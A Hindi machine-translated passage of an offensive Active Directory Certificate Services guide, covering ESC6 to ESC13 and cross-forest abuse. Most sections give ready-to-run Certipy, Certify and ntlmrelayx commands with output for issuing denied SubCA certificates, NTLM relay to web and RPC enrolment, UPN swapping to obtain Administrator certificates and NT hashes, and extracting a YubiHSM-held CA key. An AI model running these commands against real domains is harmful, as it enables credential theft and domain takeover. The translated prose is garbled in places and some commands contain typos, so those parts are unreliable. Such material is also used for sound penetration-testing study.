[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336

हमला 2

स्पष्टीकरण

पिछले हमले में Manage CA अनुमतियों का उपयोग किया गया था ताकि EDITF_ATTRIBUTESUBJECTALTNAME2 ध्वज को सक्रिय किया जा सके और ESC6 हमला किया जा सके, लेकिन यह कोई प्रभाव नहीं डालेगा जब तक CA सेवा (CertSvc) को पुनरारंभ नहीं किया जाता। जब एक उपयोगकर्ता के पास Manage CA एक्सेस अधिकार होते हैं, तो उपयोगकर्ता को सेवा को पुनरारंभ करने की भी अनुमति होती है। हालांकि, यह यह नहीं मतलब है कि उपयोगकर्ता सेवा को दूरस्थ से पुनरारंभ कर सकता है। इसके अतिरिक्त, अधिकांश पैच किए गए वातावरणों में मई 2022 सुरक्षा अपडेट के कारण ESC6 अक्सर डिफ़ॉल्ट रूप से काम नहीं कर सकता।

इसलिए, यहां एक और हमला प्रस्तुत किया जा रहा है।

आवश्यकताएं:

  • केवल ManageCA अनुमति

  • Manage Certificates अनुमति (को ManageCA से प्रदान किया जा सकता है)

  • प्रमाणपत्र टेम्पलेट SubCA को सक्रिय होना चाहिए (को ManageCA से सक्रिय किया जा सकता है)

यह तकनीक उस तथ्य पर निर्भर करती है कि उपयोगकर्ता जिनके पास Manage CA और Manage Certificates एक्सेस अधिकार हैं, वे विफल प्रमाणपत्र अनुरोध जारी कर सकते हैं। SubCA प्रमाणपत्र टेम्पलेट ESC1 के लिए वंशावश है, लेकिन केवल प्रशासक टेम्पलेट में नामांकित हो सकते हैं। इसलिए, एक उपयोगकर्ता SubCA में नामांकित होने का अनुरोध कर सकता है - जिसे इनकार किया जाएगा - लेकिन फिर प्रबंधक द्वारा जारी किया जाएगा।

दुरुपयोग

आप अपने आप को Manage Certificates एक्सेस अधिकार प्रदान कर सकते हैं अपने उपयोगकर्ता को एक नए अधिकारी के रूप में जोड़कर।

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

SubCA टेम्पलेट को -enable-template पैरामीटर के साथ CA पर सक्रिय किया जा सकता है। डिफ़ॉल्ट रूप से, SubCA टेम्पलेट सक्रिय है।

# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

यदि हम इस हमले के लिए पूर्वापेक्षाएं पूरी कर चुके हैं, तो हम SubCA टेम्प्लेट पर आधारित प्रमाणपत्र का अनुरोध करके शुरू कर सकते हैं।

यह अनुरोध अस्वीकृत किया जाएगा, लेकिन हम निजी कुंजी को सहेजेंगे और अनुरोध आईडी नोट करेंगे।

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

हमारे Manage CA और Manage Certificates के साथ, हम फिर ca कमांड और -issue-request <request ID> पैरामीटर के साथ विफल प्रमाणपत्र अनुरोध जारी कर सकते हैं।

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

और अंत में, हम req कमांड और -retrieve <request ID> पैरामीटर के साथ जारी प्रमाणपत्र प्राप्त कर सकते हैं।

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

NTLM रिले एडी सीएस एचटीटीपी एंडपॉइंट्स - ESC8

स्पष्टीकरण

ऐसे वातावरणों में जहाँ एडी सीएस स्थापित है, यदि एक वेब नामांकन एंडपॉइंट वंशाधिकारी मौजूद है और कम से कम एक प्रमाणपत्र टेम्पलेट प्रकाशित है जो डोमेन कंप्यूटर नामांकन और ग्राहक प्रमाणीकरण की अनुमति देता है (जैसे कि डिफ़ॉल्ट मशीन टेम्पलेट), तो किसी भी कंप्यूटर को हमलावर द्वारा क्षमता बनाना संभव हो जाता है जिसमें स्पूलर सेवा सक्रिय है!

कई एडी सीएस द्वारा समर्थित एचटीटीपी पर आधारित नामांकन विधियाँ हैं, जिन्हें प्रशासक स्थापित कर सकते हैं। ये एचटीटीपी पर आधारित प्रमाणपत्र नामांकन के इंटरफेस NTLM रिले हमलों के लिए संवेदनशील हैं। एक हमलावर, कंप्रमाइज़ किए गए मशीन से, किसी भी एडी खाता का अनुकरण कर सकता है जो इनबाउंड NTLM के माध्यम से प्रमाणीकृत होता है। शिकार खाता का अनुकरण करते हुए, इन वेब इंटरफेस को हमलावर द्वारा एक ग्राहक प्रमाणीकरण प्रमाणपत्र का अनुरोध किया जा सकता है जो उपयोगकर्ता या मशीन प्रमाणपत्र टेम्पलेट का उपयोग करते हुए।

  • वेब नामांकन इंटरफेस (एक पुराना एएसपी एप्लिकेशन जो http://<caserver>/certsrv/ पर उपलब्ध है), डिफ़ॉल्ट रूप से केवल HTTP पर है, जो NTLM रिले हमलों के खिलाफ सुरक्षा नहीं प्रदान करता। इसके अतिरिक्त, यह अपने अधिकारण HTTP हेडर के माध्यम से केवल NTLM प्रमाणीकरण की अनुमति देता है, जिससे कि कर्बेरोस जैसे अधिक सुरक्षित प्रमाणीकरण विधियाँ लागू नहीं होतीं।

  • प्रमाणपत्र नामांकन सेवा (सीईएस), प्रमाणपत्र नामांकन नीति (सीईपी) वेब सेवा, और नेटवर्क उपकरण नामांकन सेवा (एनडीईएस) डिफ़ॉल्ट रूप से अपने अधिकारण HTTP हेडर के माध्यम से नेगोटिएट प्रमाणीकरण का समर्थन करते हैं। नेगोटिएट प्रमाणीकरण दोनों कर्बेरोस और NTLM का समर्थन करता है, जिससे हमलावर NTLM प्रमाणीकरण में डाउनग्रेड कर सकता है। हालांकि ये वेब सेवाएँ डिफ़ॉल्ट रूप से HTTPS का समर्थन करती हैं, HTTPS केवल स्वयं NTLM रिले हमलों के खिलाफ सुरक्षित नहीं है। HTTPS सेवाओं के लिए NTLM रिले हमलों से सुरक्षा केवल तब संभव है जब HTTPS को चैनल बाइंडिंग के साथ संयुक्त किया जाता है। दुर्भाग्य से, एडी सीएस आईआईएस पर विस्तारित प्रमाणीकरण के लिए एक्टिवेट नहीं करता, जो चैनल बाइंडिंग के लिए आवश्यक है।

NTLM रिले हमलों की एक सामान्य समस्या है NTLM सत्रों की अल्पकालिकता और हमलावर की सेवाओं के साथ बातचीत करने की असमर्थता जो NTLM साइनिंग की आवश्यकता है। फिर भी, इस सीमा को उपेक्षा करके एक एनटीएलएम रिले हमला उपयोग करके प्रमाणपत्र प्राप्त करने से यह सीमा पार की जा सकती है, क्योंकि प्रमाणपत्र की मान्यता अवधि सत्र की अवधि निर्धारित करती है, और प्रमाणपत्र को सेवाओं के साथ उपयोग किया जा सकता है जो एनटीएलएम साइनिंग को अनिवार्य बनाती है। चुराए गए प्रमाणपत्र का उपयोग करने के निर्देशों के लिए, देखें:

pageAD CS Account Persistence

एनटीएलएम रिले हमलों की एक और सीमा यह है कि एक हमलावर नियंत्रित मशीन को एक पीड़ित खाता द्वारा प्रमाणित किया जाना चाहिए। हमलावर इस प्रमाणीकरण का इंतजार कर सकता है या इस प्रमाणीकरण को बलपूर्वक करने का प्रयास कर सकता है:

pageForce NTLM Privileged Authentication

दुरुपयोग

Certify का cas सक्षम HTTP AD CS अंत्यस्थानों की जांच करता है:

Certify.exe cas

msPKI-Enrollment-Servers गुणसूत्र का उपयोग उद्यम प्रमाणपत्र प्राधिकरणों (CAs) द्वारा प्रमाणपत्र पंजीकरण सेवा (CES) इंडपॉइंट्स स्टोर करने के लिए किया जाता है। इन इंडपॉइंट्स को उपयोग करके उपकरण Certutil.exe का उपयोग करके सूचीबद्ध किया जा सकता है:

certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA

```powershell Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ```

प्रमाणित के साथ दुरुपयोग

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Certipy के साथ दुरुपयोग

सर्टिफिकेट का अनुरोध डिफ़ॉल्ट रूप से Certipy द्वारा किया जाता है जो टेम्प्लेट Machine या User पर आधारित होता है, जो यह निर्धारित करता है कि क्या खाता नाम $ से समाप्त हो रहा है। एक वैकल्पिक टेम्प्लेट का निर्धारण -template पैरामीटर का उपयोग करके किया जा सकता है।

PetitPotam जैसी एक तकनीक का उपयोग फिर किया जा सकता है जिससे प्रमाणीकरण को मजबूर किया जा सकता है। जब डोमेन कंट्रोलर्स के साथ काम किया जा रहा हो, तो -template DomainController का निर्धारण आवश्यक है।

certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

कोई सुरक्षा एक्सटेंशन - ESC9

स्पष्टीकरण

नए मान CT_FLAG_NO_SECURITY_EXTENSION (0x80000) के लिए msPKI-Enrollment-Flag के लिए, जिसे ESC9 कहा जाता है, प्रमाणपत्र में नई szOID_NTDS_CA_SECURITY_EXT सुरक्षा एक्सटेंशन को समाहित करने से रोकता है। यह ध्वज StrongCertificateBindingEnforcement को 1 पर सेट किया जाता है (डिफ़ॉल्ट सेटिंग), जो 2 पर सेटिंग के साथ विपरीत है। इसका महत्व उचित होता है जब किसी कमजोर प्रमाणपत्र मैपिंग का उपयोग किया जा सकता है केरबेरोस या शैनल के लिए (जैसे ESC10 में), क्योंकि ESC9 की अनुपस्थिति आवश्यकताओं को बदल नहीं सकती।

इस ध्वज की सेटिंग महत्वपूर्ण होने की स्थितियाँ शामिल हैं:

  • StrongCertificateBindingEnforcement को 2 पर समायोजित नहीं किया गया है (जिसका डिफ़ॉल्ट 1 है), या CertificateMappingMethods में UPN ध्वज शामिल है।

  • प्रमाणपत्र को msPKI-Enrollment-Flag सेटिंग के भीतर CT_FLAG_NO_SECURITY_EXTENSION ध्वज से चिह्नित किया गया है।

  • कोई भी क्लाइंट प्रमाणीकरण EKU प्रमाणपत्र द्वारा निर्दिष्ट किया गया है।

  • किसी भी खाते पर GenericWrite अनुमतियाँ उपलब्ध हैं जिसका उपयोग करके किसी अन्य को कमजोर करने के लिए।

दुरुपयोग स्थिति

मान लें कि John@corp.local के पास Jane@corp.local पर GenericWrite अनुमतियाँ हैं, जिनका लक्ष्य Administrator@corp.local को कमजोर करना है। ESC9 प्रमाणपत्र टेम्पलेट, जिसे Jane@corp.local को नामांकित होने की अनुमति है, इसकी msPKI-Enrollment-Flag सेटिंग में CT_FLAG_NO_SECURITY_EXTENSION ध्वज के साथ कॉन्फ़िगर किया गया है।

शुरू में, Jane का हैश शैडो क्रेडेंशियल का उपयोग करके John के द्वारा प्राप्त किया जाता है:

certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane

इसके बाद, Jane का userPrincipalName Administrator में संशोधित किया जाता है, @corp.local डोमेन हिस्सा जानबूझकर छोड़ दिया जाता है:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

यह संशोधन बाधाएँ उल्लंघित नहीं करता है, क्योंकि Administrator@corp.local को Administrator का userPrincipalName अलग रूप से बना रहता है।

इसके बाद, ESC9 प्रमाणपत्र टेम्पलेट, जिसे वंशावशेषित माना गया है, Jane के रूप में अनुरोध किया जाता है:

certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9

यह नोट किया गया है कि प्रमाणपत्र का userPrincipalName Administrator को प्रकट करता है, किसी भी "ऑब्जेक्ट SID" के बिना।

Jane का userPrincipalName फिर से उसके मूल, Jane@corp.local पर लौटाया जाता है:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

प्रकारित प्रमाणपत्र के साथ प्रमाणीकरण का प्रयास अब Administrator@corp.local का NT हैश देता है। प्रमाणपत्र के डोमेन विशिष्टीकरण की कमी के कारण आज्ञा में -domain <domain> शामिल होना चाहिए:

certipy auth -pfx adminitrator.pfx -domain corp.local

दुर्बल प्रमाणपत्र मैपिंग - ESC10

व्याख्या

डोमेन कंट्रोलर पर दो रजिस्ट्री कुंजी मान ESC10 द्वारा संदर्भित हैं:

  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel के तहत CertificateMappingMethods के लिए डिफ़ॉल्ट मान 0x18 (0x8 | 0x10) है, पहले 0x1F पर सेट किया गया था।

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc के तहत StrongCertificateBindingEnforcement के लिए डिफ़ॉल्ट सेटिंग 1 है, पहले 0 था।

मामला 1

जब StrongCertificateBindingEnforcement को 0 के रूप में कॉन्फ़िगर किया जाता है।

मामला 2

यदि CertificateMappingMethods में UPN बिट (0x4) शामिल है।

दुरुपयोग मामला 1

StrongCertificateBindingEnforcement को 0 के रूप में कॉन्फ़िगर करने पर, एक खाता A जिसमें GenericWrite अनुमतियाँ हैं, किसी भी खाता B को कंप्रोमाइज़ करने के लिए उपयोग किया जा सकता है।

उदाहरण के लिए, Jane@corp.local पर GenericWrite अनुमतियाँ होने पर, हमलावर Administrator@corp.local को कंप्रोमाइज़ करने का उद्देश्य रखता है। प्रक्रिया ESC9 को मिरर करती है, जिससे किसी भी प्रमाणपत्र टेम्प्लेट का उपयोग किया जा सकता है।

शुरू में, Jane की हैश Shadow Credentials का उपयोग करके प्राप्त की जाती है, GenericWrite का शोषण करते हुए।

certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane

इसके बाद, Jane का userPrincipalName Administrator में बदल दिया जाता है, @corp.local भाग को जानबूझकर छोड़ दिया जाता है ताकि कोई प्रतिबंध उल्लंघन न हो।

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

निम्नलिखित के अनुसार, एक प्रमाणपत्र जो क्लाइंट प्रमाणीकरण सक्षम करता है, Jane के रूप में अनुरोधित किया जाता है, डिफ़ॉल्ट User टेम्पलेट का उपयोग करके।

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Jane का userPrincipalName फिर से उसके मूल, Jane@corp.local पर वापस किया जाता है।

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

प्राप्त प्रमाणपत्र के साथ प्रमाणीकरण करने से Administrator@corp.local का एनटी हैश प्राप्त होगा, प्रमाणपत्र में डोमेन विवरणों की अनुपस्थिति के कारण कमांड में डोमेन की विशेषीकरण आवश्यक है।

certipy auth -pfx administrator.pfx -domain corp.local

दुरुपयोग मामला 2

CertificateMappingMethods में UPN बिट फ्लैग (0x4) शामिल होने पर, एक खाता A जिसमें GenericWrite अनुमतियाँ हैं, किसी भी खाता B को कंप्रोमाइज कर सकता है जिसमें userPrincipalName गुणवत्ता नहीं है, जिसमें मशीन खाते और निर्मित डोमेन प्रशासक Administrator शामिल हैं।

यहाँ, लक्ष्य DC$@corp.local को कंप्रोमाइज करना है, Jane के हैश को शैडो क्रेडेंशियल के माध्यम से प्राप्त करके, GenericWrite का लाभ उठाते हुए।

certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane

Jane का userPrincipalName फिर DC$@corp.local पर सेट किया जाता है।

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'

एक प्रमाणपत्र क्लाइंट प्रमाणीकरण के लिए Jane के रूप में User टेम्पलेट का अनुरोध किया जाता है।

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Jane का userPrincipalName इस प्रक्रिया के बाद अपने मूल स्थिति में वापस लौट जाता है।

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'

कोर्प\डीसी$ के रूप में प्रमाणीकरण सफलता को सूचित करने के लिए, Certipy का -ldap-shell विकल्प प्रयोग किया जाता है।

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

प्रमुख नियंत्रक को क्षति पहुंचाने की संभावना वाले संकटित अधिकार देने (RBCD) हमलों को सक्षम करने जैसे आदेशों के माध्यम से LDAP शैली के माध्यम से set_rbcd जैसे कमांड्स।

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

यह दुरुपयोगता किसी भी उपयोगकर्ता खाते तक फैलती है जिसमें userPrincipalName अभाव है या जहां यह sAMAccountName से मेल नहीं खाता, डिफ़ॉल्ट Administrator@corp.local एक प्रमुख लक्ष्य है क्योंकि इसके उच्च LDAP विशेषाधिकार होते हैं और डिफ़ॉल्ट रूप से userPrincipalName की अनुपस्थिति होती है।

ICPR को NTLM पर रिले करना - ESC11

स्पष्टीकरण

यदि CA सर्वर IF_ENFORCEENCRYPTICERTREQUEST के साथ कॉन्फ़िगर नहीं है, तो RPC सेवा के माध्यम से साइन न करके NTLM रिले हमले किए जा सकते हैं। यहाँ संदर्भ में।

आप certipy का उपयोग कर सकते हैं यदि Enforce Encryption for Requests अक्षम है और certipy ESC11 दुरुपयोगताओं को दिखाएगा।

$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)

Certificate Authorities
0
CA Name                             : DC01-CA
DNS Name                            : DC01.domain.local
Certificate Subject                 : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests     : Disabled
....
[!] Vulnerabilities
ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

दुरुपयोग स्थिति

एक रिले सर्वर सेटअप करने की आवश्यकता है:

$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

नोट: डोमेन कंट्रोलर्स के लिए, हमें DomainController में -template निर्दिष्ट करना चाहिए।

या sploutchy के impacket की fork का उपयोग करें:

$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support

एडीसीएस सीए को YubiHSM के साथ शैल एक्सेस - ESC12

स्पष्टीकरण

प्रशासक सर्टिफिकेट अथॉरिटी को "Yubico YubiHSM2" जैसी बाह्य उपकरण पर सेट अप कर सकते हैं।

यदि USB उपकरण सीए सर्वर से एक USB पोर्ट के माध्यम से कनेक्ट किया गया है, या एक USB उपकरण सर्वर की स्थिति में, तो YubiHSM में कुंज संग्रह प्रदाता के लिए एक प्रमाणीकरण कुंज (कभी-कभी "पासवर्ड" के रूप में संदर्भित) की आवश्यकता होती है ताकि कुंज उत्पन्न और उपयोग कर सके।

यह कुंज/पासवर्ड स्पष्ट पाठ में HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword के तहत रजिस्ट्री में संग्रहीत है।

संदर्भ यहाँ में।

दुरुपयोग स्थिति

यदि सीए की निजी कुंज एक भौतिक USB उपकरण पर संग्रहीत है जब आपके पास शैल एक्सेस है, तो कुंज को पुनः प्राप्त करना संभव है।

पहले, आपको सीए सर्टिफिकेट प्राप्त करना होगा (यह सार्वजनिक है) और फिर:

# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>

# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>

OID ग्रुप लिंक दुरुपयोग - ESC13

व्याख्या

The msPKI-Certificate-Policy attribute allows the issuance policy to be added to the certificate template. The msPKI-Enterprise-Oid objects that are responsible for issuing policies can be discovered in the Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) of the PKI OID container. A policy can be linked to an AD group using this object's msDS-OIDToGroupLink attribute, enabling a system to authorize a user who presents the certificate as though he were a member of the group. Reference in here.

In other words, when a user has permission to enroll a certificate and the certificate is link to an OID group, the user can inherit the privileges of this group.

Use Check-ADCSESC13.ps1 to find OIDToGroupLink:

Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local

OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local

Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------

दुरुपयोग स्थिति

certipy find या Certify.exe find /showAllPermissions का उपयोग करके एक उपयोक्ता अनुमति खोजें।

यदि John को VulnerableTemplate को नामांकित करने की अनुमति है, तो उपयोक्ता VulnerableGroup समूह की विशेषाधिकारों को अनुग्रहित कर सकता है।

इसके लिए केवल टेम्पलेट को निर्दिष्ट करना होगा, यह OIDToGroupLink अधिकारों वाला प्रमाणपत्र प्राप्त करेगा।

certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'

प्रमाणपत्रों के माध्यम से वनों को कमजोर करना स्वरूपित रूप में समझाया गया

संकटित सीए के द्वारा वन विश्वास टोड़ना

क्रॉस-वन नामांकन के लिए विन्यास को अनुकूल बनाया जाता है। संसाधन वन से मूल सीए प्रमाणपत्र को प्रबंधकों द्वारा खाता वनों में प्रकाशित किया जाता है, और संसाधन वन से उद्यम सीए प्रमाणपत्र प्रत्येक खाता वन में NTAuthCertificates और AIA कंटेनर में जोड़े जाते हैं। स्पष्ट करने के लिए, यह व्यवस्था संसाधन वन में सीए को पूर्ण नियंत्रण प्रदान करती है सभी अन्य वनों पर जिनका पीकेआई वह प्रबंधित करता है। यदि यह सीए हमलावरों द्वारा संकटित हो जाए, तो सभी उपयोगकर्ताओं के लिए प्रमाणपत्र उनके द्वारा जाली बनाए जा सकते हैं, इसके फलस्वरूप सुरक्षा सीमा को वन का तोड़ दिया जा सकता है।

विदेशी सिद्धांतों को नामांकन विशेषाधिकार प्रदान किए गए

मल्टी-वन परिवेशों में, सतर्कता की आवश्यकता है जो उन उद्यम सीए जो प्रमाणपत्र टेम्पलेट प्रकाशित करते हैं जिन्हें प्रमाणित उपयोगकर्ता या विदेशी सिद्धांतों (उपयोगकर्ता/समूह वन से बाहरी वन के लिए) नामांकन और संपादन अधिकार देते हैं। विश्वास के अधिकारण के अवसर पर, एडी द्वारा उपयोगकर्ता के टोकन में प्रमाणित उपयोगकर्ता SID जोड़ा जाता है। इस प्रकार, यदि किसी डोमेन के पास एक उद्यम सीए है जिसमें एक टेम्पलेट है जो प्रमाणित उपयोगकर्ताओं को नामांकन अधिकार देता है, तो एक टेम्पलेट को संभावित रूप से एक विभिन्न वन से उपयोगकर्ता द्वारा नामांकन किया जा सकता है। उसी प्रकार, यदि टेम्पलेट द्वारा विदेशी सिद्धांत को नामांकन अधिकार विशेष रूप से प्रदान किए गए हों, तो एक वन से एक अन्य वन में टेम्पलेट में नामांकन करने की संभावना होती है

दोनों स्थितियाँ एक वन से दूसरे वन में हमले की सतह में वृद्धि करती है। प्रमाणपत्र टेम्पलेट की सेटिंग्स का दुरुपयोग एक हमलावर द्वारा एक विदेशी डोमेन में अतिरिक्त अधिकार प्राप्त करने के लिए किया जा सकता है।

Last updated